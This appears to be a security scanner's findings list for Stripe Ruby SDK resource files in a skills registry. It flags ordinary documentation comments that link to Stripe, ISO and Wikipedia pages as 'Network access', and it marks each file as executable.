  • Network accessline 80
    # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods).
  • Network accessline 81
    # This newer API provides access to our latest features and payment method types.     #     # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).
  • Network accessline 83
    # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/source_transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 119
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/subscription.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Subscriptions allow you to charge a customer on a recurring basis.   #   # Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating)
  • Network accessline 7
    # Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating)
  • Network accessline 239
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 419
    # The list of payment method types to provide to every invoice created by the subscription. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s defau
  • Network accessline 457
    # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U
  • Network accessline 514
    # The reference point that aligns future [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle) dates. It sets the day of week for `week` intervals, the day of month for `month` and `year` intervals, and the month of year for 
  • Network accessline 534
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 542
    # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de
  • Network accessline 544
    # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I
  • Network accessline 564
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 570
    # The account (if any) the charge was made on behalf of for charges associated with this subscription. See the [Connect documentation](https://docs.stripe.com/connect/subscriptions#on-behalf-of) for details.
  • Network accessline 572
    # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.stripe.com/billing/subscrip
  • Network accessline 576
    # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval.
  • Network accessline 578
    # You can use this [SetupIntent](https://docs.stripe.com/api/setup_intents) to collect user authentication when creating a subscription without immediate payment or updating a subscription's payment method, allowing you to optimize for off-
  • Network accessline 580
    # If specified, [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates) that will be applied to the subscription once the `latest_invoice` has been paid.
  • Network accessline 590
    # A subscription that is currently in a trial period is `trialing` and moves to `active` when the trial period is over.     #     # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.st
  • Network accessline 591
    #     # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.stripe.com/billing/subscriptions/trials#create-free-trials-without-payment). A `paused` subscription doesn't generate invoices
  • Network accessline 592
    # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.stripe.com/billing/subscriptions/trials#create-free-trials-without-payment). A `paused` subscription doesn't generate invoices and c
  • Network accessline 609
    # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata).
  • Network accessline 610
    #     # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, 
  • Network accessline 611
    # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe
  • Network accessline 623
    # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata).
  • Network accessline 624
    #     # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, 
  • Network accessline 625
    # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe
  • Network accessline 640
    # The payment_behavior parameter determines the exact behavior of the initial payment.     #     # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/bil
  • Network accessline 641
    #     # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead.     # Schedules provide the fl
  • Network accessline 642
    # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead.
  • Network accessline 726
    # Updates an existing subscription to match the specified parameters.     # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes.     # To preview how the proration is cal
  • Network accessline 727
    # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes.     # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoice
  • Network accessline 728
    # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoices/create_preview) endpoint.
  • Network accessline 738
    #     #     # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscriptio
  • Network accessline 739
    #     # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription chan
  • Network accessline 740
    # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription changes](h
  • Network accessline 741
    #     # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create
  • Network accessline 742
    # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create_prora
  • Network accessline 744
    # If you don't want to prorate, set the proration_behavior option to none. With this option, the customer is billed 100 on May 1 and 200 on June 1. Similarly, if you set proration_behavior to none when switching between different billing in
  • Network accessline 746
    # Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based billing

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/subscription_item.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 42
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 46
    # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration.
  • Network accessline 47
    #     # Plans define the base price, currency, and billing cycle for recurring purchases of products.     # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different ph
  • Network accessline 48
    # Plans define the base price, currency, and billing cycle for recurring purchases of products.     # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical
  • Network accessline 49
    # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represe
  • Network accessline 51
    # For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year.     #     # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) an
  • Network accessline 53
    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview).
  • Network accessline 55
    # Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products.     # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you tra
  • Network accessline 56
    # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be 
  • Network accessline 58
    # For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once.     #     # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an 
  • Network accessline 60
    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe.com
  • Network accessline 62
    # The [quantity](https://docs.stripe.com/subscriptions/quantities) of the plan to which the customer should be subscribed.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/subscription_schedule.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # A subscription schedule allows you to create and manage the lifecycle of a subscription by predefining expected changes.   #   # Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules)
  • Network accessline 7
    # Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules)
  • Network accessline 158
    # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle anchor is automatically modif
  • Network accessline 253
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 401
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an item. Metadata on this item will update the underlying subscription item's `metadata` when the phase is entered.
  • Network accessline 441
    # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle anchor is automatically modif
  • Network accessline 447
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 463
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered. Updating the underlying subscrip
  • Network accessline 516
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 526
    # The present status of the subscription schedule. Possible values are `not_started`, `active`, `completed`, `released`, and `canceled`. You can read more about the different states in our [behavior guide](https://docs.stripe.com/billing/su

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/association.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 15
    # The [Tax Transaction](https://docs.stripe.com/api/tax/transaction/object)
  • Network accessline 56
    # The [Tax Calculation](https://docs.stripe.com/api/tax/calculations/object) that was included in PaymentIntent.
  • Network accessline 62
    # The [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) that this Tax Association is tracking.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/calculation.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A Tax Calculation allows you to calculate the tax to collect from your customer.     #     # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom)
  • Network accessline 8
    # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom)
  • Network accessline 21
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 29
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 79
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 87
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 113
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 119
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 147
    # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 157
    # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 168
    # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.
  • Network accessline 170
    # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 172
    # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object).
  • Network accessline 178
    # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping.
  • Network accessline 206
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 214
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 227
    # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 235
    # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 246
    # Total amount after taxes in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 248
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 250
    # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/calculation_line_item.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 20
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 48
    # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 58
    # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 69
    # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.
  • Network accessline 71
    # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 77
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 81
    # The ID of an existing [Product](https://docs.stripe.com/api/products/object).
  • Network accessline 91
    # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/registration.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A Tax `Registration` lets us know that your business is registered to collect tax on payments within a region, enabling you to [automatically collect tax](https://docs.stripe.com/tax).
  • Network accessline 7
    #     # Stripe doesn't register on your behalf with the relevant authorities when you create a Tax `Registration` object. For more information on how to register to collect tax, see [our guide](https://docs.stripe.com/tax/registering).     
  • Network accessline 8
    # Stripe doesn't register on your behalf with the relevant authorities when you create a Tax `Registration` object. For more information on how to register to collect tax, see [our guide](https://docs.stripe.com/tax/registering).
  • Network accessline 10
    # Related guide: [Using the Registrations API](https://docs.stripe.com/tax/registrations-api)
  • Network accessline 328
    # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1737
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.
  • Network accessline 1750
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.
  • Network accessline 1764
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction.
  • Network accessline 1792
    # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2201
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/settings.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # You can use Tax `Settings` to manage configurations used by Stripe Tax calculations.     #     # Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api)
  • Network accessline 8
    # Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api)
  • Network accessline 20
    # Default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) used to specify whether the price is considered inclusive of taxes or exclusive of taxes. If the item's price has a tax behavior 
  • Network accessline 22
    # Default [tax code](https://stripe.com/docs/tax/tax-categories) used to classify your products and prices.
  • Network accessline 38
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 46
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A Tax Transaction records the tax collected from or refunded to your customer.     #     # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction)
  • Network accessline 8
    # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction)
  • Network accessline 19
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 27
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 90
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 98
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 124
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 130
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 158
    # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 168
    # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 179
    # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.
  • Network accessline 181
    # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 183
    # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object).
  • Network accessline 189
    # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping.
  • Network accessline 202
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 204
    # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.
  • Network accessline 214
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/transaction_line_item.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 24
    # The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount.
  • Network accessline 26
    # The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 32
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 36
    # The ID of an existing [Product](https://docs.stripe.com/api/products/object).
  • Network accessline 46
    # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax_code.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # [Tax codes](https://stripe.com/docs/tax/tax-categories) classify goods and services for tax purposes.
  • Network accessline 23
    # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax_deducted_at_source.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax_id.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # You can add one or multiple tax IDs to a [customer](https://docs.stripe.com/api/customers) or account.
  • Network accessline 6
    # Customer and account tax IDs get displayed on related invoices and credit notes.   #   # Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoi
  • Network accessline 8
    # Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoicing/connect#account-tax-ids)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax_rate.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Tax rates can be applied to [invoices](https://docs.stripe.com/invoicing/taxes/tax-rates), [subscriptions](https://docs.stripe.com/billing/taxes/tax-rates) and [Checkout Sessions](https://docs.stripe.com/payments/checkout/use-manual-tax-r
  • Network accessline 7
    # Related guide: [Tax rates](https://docs.stripe.com/billing/taxes/tax-rates)
  • Network accessline 34
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 58
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 66
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/configuration.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A Configurations object represents how features should be configured for terminal readers.     # For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fleet/configurations-ov
  • Network accessline 7
    # For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fleet/configurations-overview).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/connection_token.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A Connection Token is used by the Stripe Terminal SDK to connect to a reader.     #     # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)
  • Network accessline 8
    # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)
  • Network accessline 17
    # The id of the location that this connection token is scoped to. Note that location scoping only applies to internet-connected readers. For more details, see [the docs on scoping connection tokens](https://docs.stripe.com/terminal/fleet/lo

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/location.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A Location represents a grouping of readers.     #     # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)
  • Network accessline 8
    # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations)
  • Network accessline 23
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 31
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 46
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 71
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 110
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 119
    # Creates a new Location object.       # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.
  • Network accessline 120
    # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/onboarding_link.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/reader.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A Reader represents a physical device for accepting payment details.     #     # Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader)
  • Network accessline 8
    # Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader)
  • Network accessline 200
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 245
    # PaymentMethod objects represent your customer's payment instruments.           # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 246
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 247
    # Customer objects to store instrument details for future payments.           #           # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/mo
  • Network accessline 249
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 379
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 406
    # The amount of the line item. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 421
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 425
    # Tax amount for the entire cart. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 427
    # Total amount for the entire cart, including tax. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 508
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 519
    # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details.
  • Network accessline 529
    # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details.
  • Network accessline 539
    # Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers.
  • Network accessline 549
    # Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers.
  • Network accessline 559
    # Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s
  • Network accessline 569
    # Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s
  • Network accessline 579
    # Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details.
  • Network accessline 589
    # Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details.
  • Network accessline 639
    # Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details.
  • Network accessline 649
    # Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details.
  • Network accessline 659
    # Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details.
  • Network accessline 669
    # Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details.
  • Network accessline 679
